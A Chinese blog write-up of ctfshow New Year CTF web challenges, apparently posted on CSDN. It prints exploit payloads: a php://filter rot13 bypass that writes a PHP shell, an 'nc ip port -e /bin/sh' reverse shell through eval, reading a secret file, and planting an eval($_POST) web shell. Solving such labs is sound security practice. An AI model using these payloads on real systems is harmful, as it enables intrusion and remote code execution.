ctfshow 新春欢乐赛 web

web1

<?php


highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?content=php://filter/string.rot13|<?cuc flfgrz('yf /');?>|/resource=shell.php

绕过死亡exit
但是我发现个问题就是不能写马,弄了也没利用好
在这里插入图片描述

热身

<?php

eval($_GET['f']);

代码看起来很简单,我想的是弹shell然后随便就拿到flag了结果找半天找不到

?f=%0a`nc ip port -e /bin/sh`;
?f=phpinfo();     读取到flag位置

在这里插入图片描述
长知识了我以为这个东西只能用来文件包含

cat /etc/ssh/secret/youneverknow/secret.php

在这里插入图片描述

web2

<?php


highlight_file(__FILE__);
session_start();              
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>

说说重要代码和思路
在这里插入图片描述

if (call_user_func($$$$$${key($_POST)})==="HappyNewYear")
首先回调函数那么我们肯定是要进行函数调用达到目的的 而调用什么函数呢,session_start()给了答案
key:value这是我们传参的键值对  key函数就是获得我们的键名
而这个$$$$$$ 是可以动态的将获取到的键名变为变量使用
(我之前看到的是与parse_url()函数进行综合使用,然后分段url的,今天见到了第二种用法)

分析之后我们用session_id这个会当即引用cookie的ID

例子:
key:       46546513
名字         ID
session_id=session_id
然后修改cookie为HappyNewYear

在这里插入图片描述

web3

<?php

highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
  echo $flag;
}

die("虎年大吉,新春快乐!");

虎年大吉,新春快乐!

在这里插入图片描述
在进行弱比较的时候字符串若不为空,其布尔值都为true,那么我们只要是key执行结果为true即可

?1=json_last_error
?1=session_start
?1=error_reporting

web4

<?php

highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

虎年大吉,新春快乐!

我们要把小马写进去

spl_autoload_extensions()
 函数用于设置 PHP 自动加载机制中搜索类或接口文件的扩展名范围。默认情况下,PHP 只会搜索 .php 文件。
 如果有设置还会搜索.inc

那么我们就可以利用这个函数来进行getshell

?1=spl_autoload_extensions

访问.php结果无回显
估计就是被设置的那种了那么我们访问
.inc,.php
然后基础rce

web5

<?php


error_reporting(0);
highlight_file(__FILE__);


include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);

file_put_contents()函数可以写文件如果文件存在则进行覆盖文件内容
那么这里使用的一个溢出来进行发送

经过计算524280个就够了
试验也是,但是访问🐯下载文件并没有获得flag。不知道为啥,莫非时间太久远了?

web6

先欠着,这两天期末考试

web7

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值